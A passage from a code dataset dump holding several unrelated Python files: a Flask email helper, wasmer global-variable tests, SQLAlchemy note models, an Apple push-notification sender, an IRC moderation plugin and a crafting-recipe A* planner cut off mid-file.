mail.send(msg)\n\n\ndef send_email(recipient, subject, template, **kwargs):\n\n event = {'recipient': recipient,\n 'subject': subject,\n 'template': template}\n event.update(**kwargs)\n\n if hasattr(Config, 'DEBUG'):\n return send_email_func(event=event)\n else:\n client = boto3.client('lambda')\n client.invoke(\n FunctionName='flask-base.app.email.send_email_func',\n InvocationType='Event',\n Payload=json.dumps(event)\n )\n","sub_path":"app/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"481880304","text":"from wasmer import Instance\nimport inspect\nimport os\nimport pytest\n\nhere = os.path.dirname(os.path.realpath(__file__))\nTEST_BYTES = open(here + '/global.wasm', 'rb').read()\n\ndef test_global_mutable():\n globals = Instance(TEST_BYTES).globals\n\n assert globals.x.mutable == True\n assert globals.y.mutable == True\n assert globals.z.mutable == False\n\ndef test_global_read_write():\n y = Instance(TEST_BYTES).globals.y\n\n assert y.value == 7\n\n y.value = 8\n\n assert y.value == 8\n\ndef test_global_read_write_and_exported_functions():\n instance = Instance(TEST_BYTES)\n exports = instance.exports\n x = instance.globals.x\n\n assert x.value == 0\n assert exports.get_x() == 0\n\n x.value = 1\n\n assert x.value == 1\n assert exports.get_x() == 1\n\n exports.increment_x()\n\n assert x.value == 2\n assert exports.get_x() == 2\n\ndef test_global_read_write_constant():\n z = Instance(TEST_BYTES).globals.z\n\n assert z.value == 42\n\n with pytest.raises(RuntimeError) as context_manager:\n z.value = 153\n\n exception = context_manager.value\n assert str(exception) == (\n 'The global variable `z` is not mutable, cannot set a new value.'\n )\n","sub_path":"tests/test_global.py","file_name":"test_global.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"130188420","text":"from sqlalchemy import Column, Integer, String, ForeignKey, \\\n Boolean, DateTime\nfrom db import Base\nfrom sqlalchemy.orm import relationship\n\n\nclass Note(Base):\n __tablename__ = 'notes'\n\n id = Column(Integer, primary_key=True)\n name = Column(String, nullable=True)\n status = Column(Boolean, server_default='False')\n created_at = Column(DateTime, server_default='now()')\n\n items = relationship('Item', back_populates='note')\n changes = relationship('NoteChanges', back_populates='note')\n users = relationship('Note2User', back_populates='note')\n\n\nclass Note2User(Base):\n __tablename__ = 'notes_users_m2m'\n\n id = Column(Integer, primary_key=True)\n\n user_id = Column(Integer, ForeignKey('users.id'), nullable=False)\n user = relationship('User', back_populates='notes')\n note_id = Column(Integer, ForeignKey('notes.id'), nullable=False)\n note = relationship('Note', back_populates='users')\n\n\nclass NoteChanges(Base):\n __tablename__ = 'notes_changes'\n\n id = Column(Integer, primary_key=True)\n action = Column(String, nullable=False)\n updated_at = Column(DateTime, server_default='now()')\n\n user_id = Column(Integer, ForeignKey('users.id'), nullable=False)\n user = relationship('User', back_populates='changes')\n note_id = Column(Integer, ForeignKey('notes.id'), nullable=False)\n note = relationship('Note', back_populates='changes')\n\n\nclass Item(Base):\n __tablename__ = 'items'\n\n id = Column(Integer, primary_key=True)\n name = Column(String, nullable=False)\n description = Column(String, nullable=True)\n status = Column(Boolean, server_default='False')\n\n note_id = Column(Integer, ForeignKey('notes.id'), nullable=False)\n note = relationship('Note', back_populates='items')\n","sub_path":"db/models/notes.py","file_name":"notes.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"74559791","text":"__filename = 'apns.py'\n__fname = 'apns'\ncStrDivider = '#================================================================#'\nprint('', cStrDivider, f'START _ {__filename}', cStrDivider, sep='\\n')\nprint(f'GO {__filename} -> starting IMPORTs and globals decleration')\nfrom .xlogger import *\nimport ssl\nimport json\nimport socket\nimport struct\nimport binascii\nimport logging\n#from controllers import xlogger\n#from globals import globals\nimport sys\n\n\n#logging.basicConfig(filename=globals.GLOBAL_PATH_DEV_LOGS, level=logging.DEBUG)\n#logging.info(' ')\n#logging.info('logging started -> controllers.apns.py')\nlogenter(__filename, f\" IMPORTs complete:- STARTING -> file '{__filename}' . . . \", simpleprint=True, tprint=True)\n\nsock = None\n\n###############################################\n############ pub - actions ############\n###############################################\ndef sendApnsTokenDictMsg(token, dict, msg, use_dev_cert=False):\n funcname = f'({__filename}) sendApnsTokenDictMsg({token}, {dict}, {msg})'\n logenter(funcname, simpleprint=False, tprint=True)\n\n certfile = 'apns-prod-noenc.pem'\n if use_dev_cert:\n certfile = 'apns-dev-noenc.pem'\n\n result = open_apns_socket(certfile, use_dev_cert)\n if result==False:\n logerror(funcname, '\\n\\n FAILED open_apns_socket', '')\n return False\n\n payload = {'PAYLOAD':dict, 'aps':{'alert':msg, 'badge':1, 'sound':'default'}}\n\n try:\n result = send_apns_msg(token, payload)\n if result==False:\n logerror(funcname, '\\n\\n FAILED send_apns_msg for apns_dt: %s' % token, 'PAYLOAD dict: %s' % dict)\n close_apns_socket()\n return False\n\n loginfo(funcname, 'push succeeded for ios_apns_token: %s' % token, 'PAYLOAD dict: %s' % dict)\n except Exception as e: # ref: https://docs.python.org/2/tutorial/errors.html\n #print type(e) # the exception instance\n #print e.args # arguments stored in .args\n #print e # __str__ allows args to be printed directly\n logerror(funcname, '\\n\\n send_apns_msg Exception: %s' % e, '')\n close_apns_socket()\n return False\n\n close_apns_socket()\n logexit(funcname, '', '')\n return True\n\n###############################################\n############ priv - APPLE link ############\n###############################################\ndef open_apns_socket(certfile, use_dev_cert=False):\n funcname = f'({__filename}) open_apns_socket(certfile={certfile})'\n logenter(funcname, simpleprint=False, tprint=True)\n\n # APNS server address (use 'gateway.push.apple.com' for production server)\n apns_address = ('gateway.push.apple.com', 2195)\n \n if use_dev_cert:\n # APNS server address (use 'gateway.sandbox.push.apple.com' for development server)\n apns_address = ('gateway.sandbox.push.apple.com', 2195)\n \n # create socket and connect to APNS server using SSL\n s = socket.socket()\n \n global sock\n try:\n sock = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_SSLv23, certfile=certfile)\n except:\n e = sys.exc_info()[0]\n logerror(funcname, \"\\n\\n EXCEPTION somewhere global sock.wrap_sockets %s\" % e, \"\")\n return False\n\n try:\n sock.connect(apns_address)\n except:\n e = sys.exc_info()[0]\n logerror(funcname, \"\\n\\n EXCEPTION somewhere global sock.connect %s\" % e, \"\")\n return False\n\n logging.info(' ')\n logging.info(' ')\n logging.info('APNS SSL connection opened')\n logging.info(' ')\n\n return True\n\ndef send_apns_msg(token, payload):\n funcname = f'({__filename}) send_apns_msg({token}, {payload})'\n logenter(funcname, simpleprint=False, tprint=True)\n\n try:\n token = binascii.unhexlify(token) # generate APNS notification packet\n except Exception as e: # ref: https://docs.python.org/2/tutorial/errors.html\n #print type(e) # the exception instance\n #print e.args # arguments stored in .args\n #print e # __str__ allows args to be printed directly\n strE_0 = f\"\\n\\n Exception hit... \\n somewhere binascii.unhexlify(token) '{funcname}'; \\n\\nreturning False\\n\"\n strE_1 = f\"\\n\\n __Exception__: \\n{e}\\n __Exception__\"\n logerror(funcname, strE_0, strE_1, simpleprint=False)\n return False\n \n try:\n payload = json.dumps(payload)\n fmt = \"!cH32sH{0:d}s\".format(len(payload))\n except Exception as e: # ref: https://docs.python.org/2/tutorial/errors.html\n #print type(e) # the exception instance\n #print e.args # arguments stored in .args\n #print e # __str__ allows args to be printed directly\n strE_0 = f\"\\n\\n Exception hit... \\n somewhere format(len(payload)) '{funcname}'; \\n\\nreturning False\\n\"\n strE_1 = f\"\\n\\n __Exception__: \\n{e}\\n __Exception__\"\n return False\n\n try:\n cmd = '\\x00'\n \n #python3 requirement _ ref: https://stackoverflow.com/a/31551978/2298002\n cmd = bytes(cmd, \"utf-8\")\n payload = bytes(payload, \"utf-8\")\n \n msg = struct.pack(fmt, cmd, len(token), token, len(payload), payload)\n except Exception as e: # ref: https://docs.python.org/2/tutorial/errors.html\n #print type(e) # the exception instance\n #print e.args # arguments stored in .args\n #print e # __str__ allows args to be printed directly\n strE_0 = f\"\\n\\n Exception hit... \\n somewhere struct.pack '{funcname}'; \\n\\nreturning False\\n\"\n strE_1 = f\"\\n\\n __Exception__: \\n{e}\\n __Exception__\"\n logerror(funcname, strE_0, strE_1, simpleprint=False)\n return False\n\n loginfo(funcname, 'msg created...', '')\n \n try:\n global sock\n sock.write(msg)\n except:\n logerror(funcname, \"EXCEPTION somewhere global sock.write(msg)\", \"\")\n return False\n\n logexit(funcname, 'Sending APNS finished', '')\n return True\n\ndef close_apns_socket():\n funcname = f'({__filename}) close_apns_socket'\n logenter(funcname, simpleprint=False, tprint=True)\n\n global sock\n if sock:\n sock.close()\n \n logging.info(' ')\n logging.info('APNS SSL connection closed')\n logging.info(' ')\n logging.info(' ')\n\n\n\n#====================================================#\n#====================================================#\n\nloginfo(__filename, f\"\\n CLASSES & FUNCTIONS initialized:- STARTING -> additional '{__filename}' run scripts (if applicable) . . .\", simpleprint=True)\nloginfo(__filename, f\"\\n DONE Executing additional '{__filename}' run scripts ...\", simpleprint=False)\nprint('#======================================================================#')\n","sub_path":"apns.py","file_name":"apns.py","file_ext":"py","file_size_in_byte":6702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"301114934","text":"# coding=utf-8\n__author__ = 'Gareth Williams'\n\nimport MySQLdb\n\nfrom system.decorators import *\nfrom system.json_loader import *\nfrom system.logging import Logger\nimport time\nimport thread\nfrom datetime import datetime, timedelta\n\nclass plugin(object):\n \"\"\"\n ///////////////////////////////////////////////\n This plugin contains kick and\n ban commands along with some\n channel moderation commands.\n ///////////////////////////////////////////////\n \"\"\"\n\n commands = {\n \"kick\": \"kick\",\n \"ban\": \"ban\",\n \"op\": \"opUser\",\n \"deop\": \"deOpUser\",\n \"+r\": \"modeR\",\n \"-r\": \"unModeR\",\n \"+m\": \"moderated\",\n \"-m\": \"unModerate\",\n \"ops\": \"callOps\"\n }\n\n cooldown = 0\n\n def __init__(self, irc):\n self.irc = irc\n self.logs = Logger()\n thread.start_new_thread(self.countdown, ())\n self.help = {\n \"kick\": \"Usage: %skick [:channel] \" % self.irc.control_char,\n \"ban\": \"Usage: %sban [:channel] \" % self.irc.control_char,\n \"+r\": \"Sets channel to registered only\",\n \"-r\": \"removes registered only\",\n \"+m\": \"Sets channel to moderated\",\n \"-m\": \"Removed moderation\",\n \"ops\": \"Calls admins\"\n }\n\n\n @run_async\n def countdown(self):\n while True:\n while self.cooldown > 0:\n time.sleep(1)\n self.cooldown -= 1\n\n @config(\"rank\", \"op\")\n def opUser(self, user, channel, arguments):\n if len(arguments) > 1:\n user = arguments[1]\n self.irc.send_raw(\"MODE \" + channel + \" +o \" + user)\n\n @config(\"rank\", \"op\")\n def deOpUser(self, user, channel, arguments):\n if len(arguments) > 1:\n user = arguments[1]\n self.irc.send_raw(\"MODE \" + channel + \" -o \" + user)\n\n @config(\"rank\", \"op\")\n def modeR(self, user, channel, arguments):\n self.irc.send_raw(\"MODE \" + channel + \" r\")\n\n @config(\"rank\", \"op\")\n def unModeR(self, user, channel, arguments):\n self.irc.send_raw(\"MODE \" + channel + \" -r\")\n\n @config(\"rank\", \"op\")\n def moderated(self, user, channel, arguments):\n self.irc.send_raw(\"MODE \" + channel + \" m\")\n\n @config(\"rank\", \"op\")\n def unModerate(self, user, channel, arguments):\n self.irc.send_raw(\"MODE \" + channel + \" -m\")\n\n def callOps(self, user, channel, arguments):\n if self.cooldown == 0:\n self.cooldown = 300\n opsList = ['Gaz', 'IoP', 'progwml6', 'Quetzi', 'Matakor']\n for Ouser in opsList:\n self.irc.sendmsg(Ouser, '\\x02\\x0304' + user + \" requested an admin in #ftb\")\n\n self.irc.sendnotice(user, '\\x02\\x0304An admin has been called')\n else:\n sec = timedelta(seconds=self.cooldown)\n timeLeft = datetime(1,1,1) + sec\n self.irc.sendnotice(user, 'Please wait another %d:%d until requesting an admin' % (timeLeft.minute, timeLeft.second))\n\n @config(\"rank\", \"op\")\n def kick(self, user, channel, arguments):\n if len(arguments) > 2:\n k_user = arguments[1]\n k_chan = channel\n if \":\" in k_user:\n k_user, k_chan = k_user.split(\":\")[0], k_user.split(\":\")[1]\n k_reason = user\n if len(arguments) > 2:\n k_reason = \" \".join(arguments[2:])\n if k_user not in self.irc.Whitelist or not (self.irc.is_voice(k_chan, k_user)):\n if self.irc.is_op(k_chan, self.irc.nickname):\n if k_user in self.irc.chanlist[channel].keys():\n self.irc.send_raw(\"KICK %s %s :%s\" % (k_chan, k_user, k_reason))\n self.irc.sendnotice(user, \"User %s kicked from %s.\" % (k_user, k_chan))\n else:\n self.irc.sendnotice(user, \"User %s is not on %s.\" % (k_user, k_chan))\n else:\n self.irc.sendnotice(user, \"I do not have op on %s\" % k_chan)\n else:\n self.irc.sendnotice(user, \"User is exempt from being kicked\")\n else:\n self.irc.sendnotice(user, self.help[\"kick\"])\n\n @config(\"rank\", \"op\")\n def ban(self, user, channel, arguments):\n if len(arguments) > 2:\n k_user = arguments[1]\n k_chan = channel\n if \":\" in k_user:\n k_user, k_chan = k_user.split(\":\")[0], k_user.split(\":\")[1]\n k_reason = user\n if len(arguments) > 2:\n k_reason = \" \".join(arguments[2:])\n if k_user not in self.irc.Whitelist or not (self.irc.is_voice(k_chan, k_user)):\n if self.irc.is_op(k_chan, self.irc.nickname):\n if k_user in self.irc.chanlist[channel].keys():\n self.irc.send_raw(\"KICK %s %s :%s\" % (k_chan, k_user, k_reason))\n self.irc.send_raw(\"MODE %s +b %s\" % (k_chan, self.irc.chanlist[channel][k_user][\"host\"]))\n self.irc.sendnotice(user, \"User %s banned from %s.\" % (k_user, k_chan))\n self.irc.logs.ban(\"Banned %s from %s.\" % (user, channel))\n else:\n self.irc.sendnotice(user, \"User %s is not on %s.\" % (k_user, k_chan))\n else:\n self.irc.sendnotice(user, \"I do not have op on %s\" % k_chan)\n else:\n self.irc.sendnotice(user, \"User is exempt from being kicked\")\n else:\n self.irc.sendnotice(user, self.help[\"ban\"])\n\n hooks = {}\n name = \"chanTools\"\n","sub_path":"plugins/chanTools.py","file_name":"chanTools.py","file_ext":"py","file_size_in_byte":5614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"270769921","text":"import json\r\r\nfrom collections import namedtuple, defaultdict, OrderedDict\r\r\nfrom timeit import default_timer as time\r\r\nfrom math import sqrt, inf, ceil\r\r\nfrom heapq import heappush, heappop\r\r\n\r\r\nRecipe = namedtuple('Recipe', ['name', 'check', 'effect', 'cost'])\r\r\n\r\r\n\r\r\nclass State(OrderedDict):\r\r\n \"\"\" This class is a thin wrapper around an OrderedDict, which is simply a dictionary which keeps the order in\r\r\n which elements are added (for consistent key-value pair comparisons). Here, we have provided functionality\r\r\n for hashing, should you need to use a state as a key in another dictionary, e.g. distance[state] = 5. By\r\r\n default, dictionaries are not hashable. Additionally, when the state is converted to a string, it removes\r\r\n all items with quantity 0.\r\r\n\r\r\n Use of this state representation is optional, should you prefer another.\r\r\n \"\"\"\r\r\n\r\r\n def __key(self):\r\r\n return tuple(self.items())\r\r\n\r\r\n def __hash__(self):\r\r\n return hash(self.__key())\r\r\n\r\r\n def __lt__(self, other):\r\r\n return self.__key() < other.__key()\r\r\n\r\r\n def copy(self):\r\r\n new_state = State()\r\r\n new_state.update(self)\r\r\n return new_state\r\r\n\r\r\n def __str__(self):\r\r\n return str(dict(item for item in self.items() if item[1] > 0))\r\r\n\r\r\n\r\r\ndef make_checker(rule):\r\r\n # Returns a function to determine whether a state meets a rule's requirements.\r\r\n # This code runs once, when the rules are constructed before the search is attempted.\r\r\n\r\r\n def check(state):\r\r\n # This code is called by graph(state) and runs millions of times.\r\r\n if 'Requires' in rule:\r\r\n for name in rule['Requires']:\r\r\n if state[name] < 1:\r\r\n return False\r\r\n\r\r\n if 'Consumes' in rule:\r\r\n for name, amount in rule['Consumes'].items():\r\r\n if state[name] < amount:\r\r\n return False\r\r\n\r\r\n return True\r\r\n\r\r\n return check\r\r\n\r\r\n\r\r\ndef make_effector(rule):\r\r\n # Returns a function which transitions from state to new_state given the rule.\r\r\n # This code runs once, when the rules are constructed before the search is attempted.\r\r\n\r\r\n def effect(state):\r\r\n # This code is called by graph(state) and runs millions of times\r\r\n next_state = state.copy()\r\r\n\r\r\n if 'Consumes' in rule:\r\r\n for name, amount in rule['Consumes'].items():\r\r\n next_state[name] -= amount\r\r\n\r\r\n for name, amount in rule['Produces'].items():\r\r\n next_state[name] += amount\r\r\n\r\r\n\r\r\n return next_state\r\r\n\r\r\n return effect\r\r\n\r\r\n\r\r\ndef make_goal_checker(goal):\r\r\n # Returns a function which checks if the state has met the goal criteria.\r\r\n # This code runs once, before the search is attempted.\r\r\n\r\r\n def is_goal(state):\r\r\n # This code is used in the search process and may be called millions of times.\r\r\n for name, amount in goal.items():\r\r\n if state[name] < amount:\r\r\n return False\r\r\n return True\r\r\n\r\r\n return is_goal\r\r\n\r\r\n\r\r\ndef graph(state):\r\r\n # Iterates through all recipes/rules, checking which are valid in the given state.\r\r\n # If a rule is valid, it returns the rule's name, the resulting state after application\r\r\n # to the given state, and the cost for the rule.\r\r\n for r in all_recipes:\r\r\n if r.check(state):\r\r\n yield (r.name, r.effect(state), r.cost)\r\r\n\r\r\n\"\"\"\r\r\ndef make_heuristic(recipes, goal):\r\r\n # sees what goals need\r\r\n requires = []\r\r\n consumes = []\r\r\n c2 = {}\r\r\n r = {}\r\r\n c = {}\r\r\n actions = {}\r\r\n subSet = {'wood': {'plank': 4, 'stick': 8}, 'plank': {'stick': 2}}\r\r\n subSet2 = {'stick': {'plank': 2, 'wood': 8}, 'plank': {'wood': 4}}\r\r\n\r\r\n\r\r\n def requireOrConsume(goal):\r\r\n goal_name, goal_amount = goal\r\r\n for receipe_name, rule in recipes.items():\r\r\n if 'Requires' in rule:\r\r\n if goal_name in rule['Requires']:\r\r\n requires.append(goal_name)\r\r\n return\r\r\n consumes.append(goal_name)\r\r\n c2[goal_name] = goal_amount\r\r\n\r\r\n\r\r\n def rec(goal):\r\r\n for goal_name, goal_amount in goal.items():\r\r\n for receipe_name, rule in recipes.items():\r\r\n if goal_name in rule['Produces']:\r\r\n p_amount = rule['Produces'][goal_name]\r\r\n if 'Requires' in rule:\r\r\n for name in rule['Requires']:\r\r\n if name not in requires:\r\r\n requires.append(name)\r\r\n rec({name: 1})\r\r\n if 'Consumes' in rule:\r\r\n for name in rule['Consumes']:\r\r\n if name not in consumes:\r\r\n consumes.append(name)\r\r\n rec({name: 1})\r\r\n\r\r\n\r\r\n def everyThingToDict():\r\r\n for item in requires:\r\r\n r[item] = {}\r\r\n for receipe_name, rule in recipes.items(): \r\r\n if item in rule['Produces']:\r\r\n if 'Consumes' in rule:\r\r\n for name in rule['Consumes']:\r\r\n #r[item].append({name: rule['Consumes'][name]})\r\r\n r[item][name] = rule['Consumes'][name]\r\r\n for item in consumes:\r\r\n c[item] = {}\r\r\n for receipe_name, rule in recipes.items(): \r\r\n if item in rule['Produces']:\r\r\n if 'Consumes' in rule:\r\r\n for name in rule['Consumes']:\r\r\n #c[item].append({name: rule['Consumes'][name]})\r\r\n c[item][name] = rule['Consumes'][name]\r\r\n\r\r\n\r\r\n def findSameActions():\r\r\n temp = []\r\r\n for receipe_name, rule in recipes.items():\r\r\n if list(rule['Produces'].keys())[0] not in actions:\r\r\n actions[list(rule['Produces'].keys())[0]] = {}\r\r\n if 'Requires' in rule:\r\r\n n = list(rule['Requires'].keys())[0]\r\r\n else:\r\r\n n = None\r\r\n actions[list(rule['Produces'].keys())[0]][n] = rule['Time']\r\r\n\r\r\n\r\r\n for action in actions:\r\r\n if len(list(actions[action].items())) == 1:\r\r\n #print (actions[action])\r\r\n temp.append(action)\r\r\n \r\r\n for t in temp:\r\r\n del actions[t]\r\r\n\r\r\n\r\r\n\r\r\n def heuristic(state, action):\r\r\n c\r\r\n\r\r\n\r\r\n # if item is not needed\r\r\n if pName not in c and pName not in r:\r\r\n #print (\"____1____\")\r\r\n return inf\r\r\n # if already have that required item\r\r\n if pName in r and state[pName] > 1:\r\r\n #print (\"____2____\")\r\r\n return inf\r\r\n # if we need that item to satisfy goal do it\r\r\n if pName in c2 and state[pName] <= c2[pName]:\r\r\n #print (\"____3____\")\r\r\n return 0\r\r\n\r\r\n\r\r\n # if we have too much of a consumable\r\r\n if pName in c:\r\r\n #print (\"pName: \", pName)\r\r\n for s in state:\r\r\n\r\r\n # if there is something in inventory that has not been created and is also a requirment\r\r\n if state[s] == 0 and s in r:\r\r\n\r\r\n # if that item needs pName\r\r\n if pName in r[s]:\r\r\n #print (\"\\n\", action, \", \", pName, \": (state: \", state[pName], \", should have: \", r[s][pName], \" for \", s, \") \\n\")\r\r\n if r[s][pName] >= state[pName] or pAmount > 1:\r\r\n return 0\r\r\n\r\r\n # if that item needs subset of pName\r\r\n else:\r\r\n # if the subset of pName exist\r\r\n if pName in subSet:\r\r\n for sub_pName in subSet[pName]:\r\r\n #print (\"asdfadsf\", sub_pName, subSet[pName])\r\r\n #print (\"asdfasdfasDF\", test)\r\r\n if sub_pName in r[s]:\r\r\n #(stick)\r\r\n if state[sub_pName] < r[s][sub_pName]:\r\r\n #print (\"i dont have \", sub_pName, state[sub_pName], \" < \", r[s][sub_pName])\r\r\n flag = False\r\r\n for i in subSet2[sub_pName]:\r\r\n #print (\"sadfasdf\", i, subSet2[sub_pName][i])\r\r\n howMuchNeeded = r[s][sub_pName] - state[sub_pName]\r\r\n \r\r\n if i == pName:\r\r\n #print(\"asdfasdf\")\r\r\n howMuchWeHave = (state[i] - 1) * subSet2[sub_pName][i]\r\r\n else:\r\r\n howMuchWeHave = state[i] * subSet2[sub_pName][i]\r\r\n \r\r\n if howMuchWeHave > howMuchNeeded:\r\r\n #print(i, \" = \", state[i], \"@@@@\", howMuchWeHave, howMuchNeeded)\r\r\n flag = True\r\r\n if not flag:\r\r\n return 0\r\r\n\r\r\n \r\r\n\r\r\n\r\r\n\r\r\n \r\r\n #print (\"____4.2____\")\r\r\n return inf\r\r\n\r\r\n\r\r\n\r\r\n # once you have upgraded version of something don't use the old version\r\r\n \r\r\n if pName in actions:\r\r\n if 'Requires' in recipes[action]:\r\r\n usedItem = list(recipes[action]['Requires'].keys())[0] \r\r\n else:\r\r\n usedItem = None\r\r\n for a in list(actions[pName].keys()):\r\r\n if a != usedItem and actions[pName][a] < actions[pName][usedItem]:\r\r\n if state[a] > 0:\r\r\n print(\"1231212412412\")\r\r\n return inf\r\r\n \r\r\n \r\r\n return 0\r\r\n\r\r\n \r\r\n\r\r\n for (goal_name, goal_amount) in goal.items():\r\r\n requireOrConsume((goal_name, goal_amount))\r\r\n findSameActions()\r\r\n rec(goal) \r\r\n everyThingToDict()\r\r\n \r\r\n #print (\"\\nrequires: \", requires)\r\r\n #print (\"\\nconsumes: \", consumes)\r\r\n print (\"\\nr: \", r)\r\r\n print (\"\\nc: \", c)\r\r\n print (\"\\nc2: \", c2)\r\r\n print (\"\\nActions: \", actions)\r\r\n\r\r\n return heuristic\r\r\n\r\r\n\r\r\ndef make_heuristic(recipes, goal):\r\r\n # sees what goals need\r\r\n requires = {}\r\r\n consumes = {}\r\r\n\r\r\n def rec(goal):\r\r\n for goal_name, goal_amount in goal.items():\r\r\n #print(\"Goal Name: \", goal_name, \"\\nGoal Amount: \", goal_amount)\r\r\n for receipe_name, rule in recipes.items():\r\r\n if goal_name in rule['Produces']:\r\r\n p_amount = rule['Produces'][goal_name]\r\r\n if 'Requires' in rule:\r\r\n for name in rule['Requires']:\r\r\n if name not in requires:\r\r\n requires[name] = []\r\r\n rec({name: 1}) \r\r\n if 'Consumes' in rule:\r\r\n for name in rule['Consumes']:\r\r\n howMuch = rule['Consumes'][name]\r\r\n #howMuch = ceil(goal_amount * rule['Consumes'][name] / p_amount)\r\r\n if goal_name in requires and name not in requires[goal_name]:\r\r\n requires[goal_name].append({name: howMuch})\r\r\n if goal_name not in requires:\r\r\n if goal_name in consumes and name not in consumes[goal_name]:\r\r\n consumes[goal_name].append({name: howMuch})\r\r\n elif goal_name not in consumes:\r\r\n consumes[goal_name] = []\r\r\n rec({name: 1})\r\r\n\r\r\n\r\r\n \r\r\n howMuch = ceil(goal_amount * rule['Consumes'][name] / p_amount)\r\r\n if name not in consumes:\r\r\n consumes[name] = rule['Consumes'][name] * howMuch\r\r\n rec({name: consumes[name]})\r\r\n else:\r\r\n consumes[name] = rule['Consumes'][name] * howMuch\r\r\n \r\r\n\r\r\n def heuristic(state, action):\r\r\n # once you have upgraded version of something don't make the old version\r\r\n # once you have upgraded version of something don't use the old version\r\r\n # once you made an item that is a requirement don't make it again unless it's the goal\r\r\n \r\r\n for item in state.keys():\r\r\n if state[item] > 0:\r\r\n if (item not in consumes or consumes[item] < state[item]):\r\r\n if (item not in requires):\r\r\n return inf\r\r\n else:\r\r\n if ((state[item] > 1 and item not in goal) or (item in goal and goal[item] < state[item])):\r\r\n return inf\r\r\n\r\r\n return 0\r\r\n\r\r\n for item in state.keys():\r\r\n if state[item] > 0:\r\r\n if (item not in consumes or consumes[item] < state[item]) and (item not in requires or state[item] > 1):\r\r\n return inf\r\r\n return 0\r\r\n \r\r\n\r\r\n rec(goal) \r\r\n\r\r\n print (\"requires: \", requires)\r\r\n print (\"consumes: \", consumes)\r\r\n\r\r\n return heuristic\r\r\n\"\"\"\r\r\n\r\r\n\r\r\ndef make_heuristic(recipes, goal):\r\r\n\r\r\n requires = []\r\r\n consumes = []\r\r\n r = {}\r\r\n\r\r\n\r\r\n\r\r\n def everyThingToDict():\r\r\n for item in requires:\r\r\n r[item] = 1\r\r\n \r\r\n for receipe_name, rule in recipes.items(): \r\r\n if 'Consumes' in rule:\r\r\n for name in rule['Consumes']:\r\r\n if name not in r or r[name] < rule['Consumes'][name]:\r\r\n r[name] = rule['Consumes'][name]\r\r\n for name in rule['Produces']:\r\r\n if name not in r or r[name] < rule['Produces'][name]:\r\r\n r[name] = rule['Produces'][name]\r\r\n\r\r\n\r\r\n def requireOrConsume(goal):\r\r\n goal_name, goal_amount = goal\r\r\n print (goal_name)\r\r\n if goal_name not in r or r[goal_name] < goal_amount:\r\r\n r[goal_name] = goal_amount\r\r\n\r\r\n\r\r\n def rec(goal):\r\r\n for goal_name, goal_amount in goal.items():\r\r\n for receipe_name, rule in recipes.items():\r\r\n if goal_name in rule['Produces']:\r\r\n p_amount = rule['Produces'][goal_name]\r\r\n if 'Requires' in rule:\r\r\n for name in rule['Requires']:\r\r\n if name not in requires:\r\r\n requires.append(name)\r\r\n rec({name: 1})\r\r\n if 'Consumes' in rule:\r\r\n for name in rule['Consumes']:\r\r\n if name not in consumes:\r\r\n consumes.append(name)\r\r\n rec({name: 1})\r\r\n\r\r\n\r\r\n def heuristic(state):\r\r\n #print (state)\r\r\n\r\r\n for item in state:\r\r\n if state[item] == 0: \r\r\n continue\r\r\n if item in r and state[item] > r[item]:\r\r\n #print(\"____1____\")\r\r\n return inf\r\r\n\r\r\n return 0\r\r\n \r\r\n \r\r\n\r\r\n \r\r\n\r\r\n rec(goal)\r\r\n everyThingToDict()\r\r\n for (goal_name, goal_amount) in goal.items():\r\r\n requireOrConsume((goal_name, goal_amount)) \r\r\n \r\r\n #print (requires)\r\r\n #print (consumes)\r\r\n print (r)\r\r\n\r\r\n\r\r\n return heuristic\r\r\n\r\r\n\r\r\ndef search(graph, state, is_goal, limit, heuristic):\r\r\n start_time = time()\r\r\n queue = []\r\r\n cost = {}\r\r\n prev = {}\r\r\n action = []\r\r\n\r\r\n cost[state] = 0\r\r\n prev[state] = None\r\r\n\r\r\n # heuristic, cost, state, action\r\r\n heappush(queue, (0, (0, state, None)))\r\r\n\r\r\n # Search\r\r\n while time() - start_time < limit:\r\r\n estimatedDist, node = heappop(queue)\r\r\n\r\r\n #if (estimatedDist == inf):\r\r\n #print (\"wtf\", state)\r\r\n #print(\"asdfadsf\",node[2], node[1])\r\r\n #print(node[2], node[1])\r\r\n\r\r\n\r\r\n if is_goal(node[1]):\r\r\n total_cost = node[0]\r\r\n while node != None:\r\r\n action.append(node[2])\r\r\n node = prev[node[1]]\r\r\n action.reverse()\r\r\n print(\"Time: \", time() - start_time)\r\r\n return total_cost, action\r\r\n\r\r\n for a, s, c in graph(node[1]):\r\r\n alt = node[0] + c\r\r\n if s not in cost or alt < cost[s]:\r\r\n cost[s] = alt\r\r\n prev[s] = node\r\r\n new_node = (alt, s, a)\r\r\n if new_node not in queue:\r\r\n heappush(queue, (alt+heuristic(s), new_node))\r\r\n\r\r\n\r\r\n # Failed to find a path\r\r\n print(\"Failed to find a path from\", state, 'within time limit.')\r\r\n return None, None\r\r\n\r\r\n\r\r\nif __name__ == '__main__':\r\r\n with open('Crafting.json') as f:\r\r\n Crafting = json.load(f)\r\r\n\r\r\n # List of items that can be in your inventory:\r\r\n print('All items:',Crafting['Items'])\r\r\n\r\r\n # List of items in your initial inventory with amounts:\r\r\n print('Initial inventory:',Crafting['Initial'])\r\r\n\r\r\n # List of items needed to be in your inventory at the end of the plan:\r\r\n print('Goal:',Crafting['Goal'])\r\r\n\r\r\n # Dict of crafting recipes (each is a dict):\r\r\n #print('Example recipe:','craft stone_pickaxe at bench ->',Crafting['Recipes']['craft stone_pickaxe at bench'])\r\r\n\r\r\n # Build rules\r\r\n all_recipes = []\r\r\n for name, rule in Crafting['Recipes'].items():\r\r\n checker = make_checker(rule)\r\r\n effector = make_effector(rule)\r\r\n recipe = Recipe(name, checker, effector, rule['Time'])\r\r\n all_recipes.append(recipe)\r\r\n\r\r\n # Create a function which checks for the goal\r\r\n is_goal = make_goal_checker(Crafting['Goal'])\r\r\n heuristic = 